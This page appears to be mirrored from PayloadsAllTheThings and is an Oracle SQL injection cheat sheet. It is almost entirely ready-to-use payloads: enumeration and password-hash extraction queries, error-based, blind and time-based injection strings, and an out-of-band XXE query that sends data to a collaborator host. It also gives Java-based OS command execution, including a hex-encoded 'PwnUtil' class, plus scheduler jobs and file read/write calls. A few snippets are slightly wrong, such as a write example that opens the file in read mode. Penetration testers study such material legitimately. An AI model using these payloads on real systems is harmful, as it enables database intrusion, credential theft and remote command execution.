oraclesql-injection.md (14593B)
1 --- 2 title: "Oracle SQL Injection" 3 topic: "SQL Injection" 4 topicSlug: "sql-injection" 5 sourcePath: "SQL Injection/OracleSQL Injection.md" 6 sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/SQL%20Injection/OracleSQL%20Injection.md" 7 sha: "3ac27901c711" 8 isReadme: false 9 --- 10 11 # Oracle SQL Injection 12 13 > Oracle SQL Injection is a type of security vulnerability that arises when attackers can insert or "inject" malicious SQL code into SQL queries executed by Oracle Database. This can occur when user inputs are not properly sanitized or parameterized, allowing attackers to manipulate the query logic. This can lead to unauthorized access, data manipulation, and other severe security implications. 14 15 ## Summary 16 17 * [Oracle SQL Default Databases](#oracle-sql-default-databases) 18 * [Oracle SQL Comments](#oracle-sql-comments) 19 * [Oracle SQL Enumeration](#oracle-sql-enumeration) 20 * [Oracle SQL Database Credentials](#oracle-sql-database-credentials) 21 * [Oracle SQL Methodology](#oracle-sql-methodology) 22 * [Oracle SQL List Databases](#oracle-sql-list-databases) 23 * [Oracle SQL List Tables](#oracle-sql-list-tables) 24 * [Oracle SQL List Columns](#oracle-sql-list-columns) 25 * [Oracle SQL Error Based](#oracle-sql-error-based) 26 * [Oracle SQL Blind](#oracle-sql-blind) 27 * [Oracle Blind With Substring Equivalent](#oracle-blind-with-substring-equivalent) 28 * [Oracle SQL Time Based](#oracle-sql-time-based) 29 * [Oracle SQL Out of Band](#oracle-sql-out-of-band) 30 * [Oracle SQL Command Execution](#oracle-sql-command-execution) 31 * [Oracle Java Execution](#oracle-java-execution) 32 * [Oracle Java Class](#oracle-java-class) 33 * [OracleSQL File Manipulation](#oraclesql-file-manipulation) 34 * [OracleSQL Read File](#oraclesql-read-file) 35 * [OracleSQL Write File](#oraclesql-write-file) 36 * [Package os_command](#package-os_command) 37 * [DBMS_SCHEDULER Jobs](#dbms_scheduler-jobs) 38 * [References](#references) 39 40 ## Oracle SQL Default Databases 41 42 | Name | Description | 43 | ------ | ------------------------- | 44 | SYSTEM | Available in all versions | 45 | SYSAUX | Available in all versions | 46 47 ## Oracle SQL Comments 48 49 | Type | Comment | 50 | ------------------- | ------- | 51 | Single-Line Comment | `--` | 52 | Multi-Line Comment | `/**/` | 53 54 ## Oracle SQL Enumeration 55 56 | Description | SQL Query | 57 | ------------- | ------------------------------------------------------------ | 58 | DBMS version | `SELECT user FROM dual UNION SELECT * FROM v$version` | 59 | DBMS version | `SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';` | 60 | DBMS version | `SELECT banner FROM v$version WHERE banner LIKE 'TNS%';` | 61 | DBMS version | `SELECT BANNER FROM gv$version WHERE ROWNUM = 1;` | 62 | DBMS version | `SELECT version FROM v$instance;` | 63 | Hostname | `SELECT UTL_INADDR.get_host_name FROM dual;` | 64 | Hostname | `SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual;` | 65 | Hostname | `SELECT UTL_INADDR.get_host_address FROM dual;` | 66 | Hostname | `SELECT host_name FROM v$instance;` | 67 | Database name | `SELECT global_name FROM global_name;` | 68 | Database name | `SELECT name FROM V$DATABASE;` | 69 | Database name | `SELECT instance_name FROM V$INSTANCE;` | 70 | Database name | `SELECT SYS.DATABASE_NAME FROM DUAL;` | 71 | Database name | `SELECT sys_context('USERENV', 'CURRENT_SCHEMA') FROM dual;` | 72 73 ## Oracle SQL Database Credentials 74 75 | Query | Description | 76 | --------------------------------------- | ------------------------- | 77 | `SELECT username FROM all_users;` | Available on all versions | 78 | `SELECT name, password from sys.user$;` | Privileged, <= 10g | 79 | `SELECT name, spare4 from sys.user$;` | Privileged, <= 11g | 80 81 ## Oracle SQL Methodology 82 83 ### Oracle SQL List Databases 84 85 ```sql 86 SELECT DISTINCT owner FROM all_tables; 87 SELECT OWNER FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES) 88 ``` 89 90 ### Oracle SQL List Tables 91 92 ```sql 93 SELECT table_name FROM all_tables; 94 SELECT owner, table_name FROM all_tables; 95 SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%'; 96 SELECT OWNER,TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='<DBNAME>' 97 ``` 98 99 ### Oracle SQL List Columns 100 101 ```sql 102 SELECT column_name FROM all_tab_columns WHERE table_name = 'blah'; 103 SELECT COLUMN_NAME,DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='<TABLE_NAME>' AND OWNER='<DBNAME>' 104 ``` 105 106 ## Oracle SQL Error Based 107 108 | Description | Query | 109 | :------------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | 110 | Invalid HTTP Request | `SELECT utl_inaddr.get_host_name((select banner from v$version where rownum=1)) FROM dual` | 111 | CTXSYS.DRITHSX.SN | `SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual` | 112 | Invalid XPath | `SELECT ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user) FROM dual` | 113 | Invalid XML | `SELECT to_char(dbms_xmlgen.getxml('select "'||(select user from sys.dual)||'" FROM sys.dual')) FROM dual` | 114 | Invalid XML | `SELECT rtrim(extract(xmlagg(xmlelement("s", username || ',')),'/s').getstringval(),',') FROM all_users` | 115 | SQL Error | `SELECT NVL(CAST(LENGTH(USERNAME) AS VARCHAR(4000)),CHR(32)) FROM (SELECT USERNAME,ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=1))` | 116 | XDBURITYPE getblob | `XDBURITYPE((SELECT banner FROM v$version WHERE banner LIKE 'Oracle%')).getblob()` | 117 | XDBURITYPE getclob | `XDBURITYPE((SELECT table_name FROM (SELECT ROWNUM r,table_name FROM all_tables ORDER BY table_name) WHERE r=1)).getclob()` | 118 | XMLType | `AND 1337=(SELECT UPPER(XMLType(CHR(60)\|\|CHR(58)\|\|'~'\|\|(REPLACE(REPLACE(REPLACE(REPLACE((SELECT banner FROM v$version),' ','_'),'$','(DOLLAR)'),'@','(AT)'),'#','(HASH)'))\|\|'~'\|\|CHR(62))) FROM DUAL) -- -` | 119 | DBMS_UTILITY | `AND 1337=DBMS_UTILITY.SQLID_TO_SQLHASH('~'\|\|(SELECT banner FROM v$version)\|\|'~') -- -` | 120 121 When the injection point is inside a string use : `'||PAYLOAD--` 122 123 ## Oracle SQL Blind 124 125 | Description | Query | 126 | :--------------------------------------- | :----------------------------------------------------------------------------------------------- | 127 | Version is 12.2 | `SELECT COUNT(*) FROM v$version WHERE banner LIKE 'Oracle%12.2%';` | 128 | Subselect is enabled | `SELECT 1 FROM dual WHERE 1=(SELECT 1 FROM dual)` | 129 | Table log_table exists | `SELECT 1 FROM dual WHERE 1=(SELECT 1 from log_table);` | 130 | Column message exists in table log_table | `SELECT COUNT(*) FROM user_tab_cols WHERE column_name = 'MESSAGE' AND table_name = 'LOG_TABLE';` | 131 | First letter of first message is t | `SELECT message FROM log_table WHERE rownum=1 AND message LIKE 't%';` | 132 133 ### Oracle Blind With Substring Equivalent 134 135 | Function | Example | 136 | -------- | ------------------------------------- | 137 | `SUBSTR` | `SUBSTR('foobar', <START>, <LENGTH>)` | 138 139 ## Oracle SQL Time Based 140 141 ```sql 142 AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) 143 AND 1337=(CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('RANDSTR',10) ELSE 1337 END) 144 ``` 145 146 ## Oracle SQL Out of Band 147 148 ```sql 149 SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual 150 ``` 151 152 ## Oracle SQL Command Execution 153 154 * [quentinhardy/odat](https://github.com/quentinhardy/odat) - ODAT (Oracle Database Attacking Tool) 155 156 ### Oracle Java Execution 157 158 * List Java privileges 159 160 ```sql 161 select * from dba_java_policy 162 select * from user_java_policy 163 ``` 164 165 * Grant privileges 166 167 ```sql 168 exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute'); 169 exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'writeFileDescriptor', ''); 170 exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'readFileDescriptor', ''); 171 ``` 172 173 * Execute commands 174 * 10g R2, 11g R1 and R2: `DBMS_JAVA_TEST.FUNCALL()` 175 176 ```sql 177 SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:\\windows\\system32\\cmd.exe','/c', 'dir >c:\test.txt') FROM DUAL 178 SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','/bin/ls>/tmp/OUT2.LST') from dual 179 ``` 180 181 * 11g R1 and R2: `DBMS_JAVA.RUNJAVA()` 182 183 ```sql 184 SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /bin/bash -c /bin/ls>/tmp/OUT.LST') FROM DUAL 185 ``` 186 187 ### Oracle Java Class 188 189 * Create Java class 190 191 ```sql 192 BEGIN 193 EXECUTE IMMEDIATE 'create or replace and compile java source named "PwnUtil" as import java.io.*; public class PwnUtil{ public static String runCmd(String args){ try{ BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp, str = "";while ((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}} public static String readFile(String filename){ try{ BufferedReader myReader = new BufferedReader(new FileReader(filename));String stemp, str = "";while((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}}};'; 194 END; 195 196 BEGIN 197 EXECUTE IMMEDIATE 'create or replace function PwnUtilFunc(p_cmd in varchar2) return varchar2 as language java name ''PwnUtil.runCmd(java.lang.String) return String'';'; 198 END; 199 200 -- hex encoded payload 201 SELECT TO_CHAR(dbms_xmlquery.getxml('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c61636520616e6420636f6d70696c65206a61766120736f75726365206e616d6564202270776e7574696c2220617320696d706f7274206a6176612e696f2e2a3b7075626c696320636c6173732070776e7574696c7b7075626c69632073746174696320537472696e672072756e28537472696e672061726773297b7472797b4275666665726564526561646572206d726561643d6e6577204275666665726564526561646572286e657720496e70757453747265616d5265616465722852756e74696d652e67657452756e74696d6528292e657865632861726773292e676574496e70757453747265616d282929293b20537472696e67207374656d702c207374723d22223b207768696c6528287374656d703d6d726561642e726561644c696e6528292920213d6e756c6c29207374722b3d7374656d702b225c6e223b206d726561642e636c6f736528293b2072657475726e207374723b7d636174636828457863657074696f6e2065297b72657475726e20652e746f537472696e6728293b7d7d7d'')); 202 EXECUTE IMMEDIATE utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c6163652066756e6374696f6e2050776e5574696c46756e6328705f636d6420696e207661726368617232292072657475726e207661726368617232206173206c616e6775616765206a617661206e616d65202770776e7574696c2e72756e286a6176612e6c616e672e537472696e67292072657475726e20537472696e67273b'')); end;')) results FROM dual 203 ``` 204 205 * Run OS command 206 207 ```sql 208 SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual; 209 ``` 210 211 ### Package os_command 212 213 ```sql 214 SELECT os_command.exec_clob('<COMMAND>') cmd from dual 215 ``` 216 217 ### DBMS_SCHEDULER Jobs 218 219 ```sql 220 DBMS_SCHEDULER.CREATE_JOB (job_name => 'exec', job_type => 'EXECUTABLE', job_action => '<COMMAND>', enabled => TRUE) 221 ``` 222 223 ## OracleSQL File Manipulation 224 225 :warning: Only in a stacked query. 226 227 ### OracleSQL Read File 228 229 ```sql 230 utl_file.get_line(utl_file.fopen('/path/to/','file','R'), <buffer>) 231 ``` 232 233 ### OracleSQL Write File 234 235 ```sql 236 utl_file.put_line(utl_file.fopen('/path/to/','file','R'), <buffer>) 237 ``` 238 239 ## References 240 241 * [ASDC12 - New and Improved Hacking Oracle From Web - Sumit “sid” Siddharth - November 8, 2021](https://web.archive.org/web/20211108150011/https://owasp.org/www-pdf-archive/ASDC12-New_and_Improved_Hacking_Oracle_From_Web.pdf) 242 * [Error Based Injection | NetSPI SQL Injection Wiki - NetSPI - February 15, 2021](https://web.archive.org/web/20260203031530/https://sqlwiki.netspi.com/injectionTypes/errorBased/) 243 * [ODAT: Oracle Database Attacking Tool - quentinhardy - March 24, 2016](https://github.com/quentinhardy/odat/wiki/privesc) 244 * [Oracle SQL Injection Cheat Sheet - @pentestmonkey - August 30, 2011](https://web.archive.org/web/20260228095123/https://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet) 245 * [Pentesting Oracle TNS Listener - HackTricks - July 19, 2024](https://web.archive.org/web/20220519160744/https://book.hacktricks.xyz/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener) 246 * [The SQL Injection Knowledge Base - Roberto Salgado - May 29, 2013](https://web.archive.org/web/20260302110304/https://www.websec.ca/kb/sql_injection)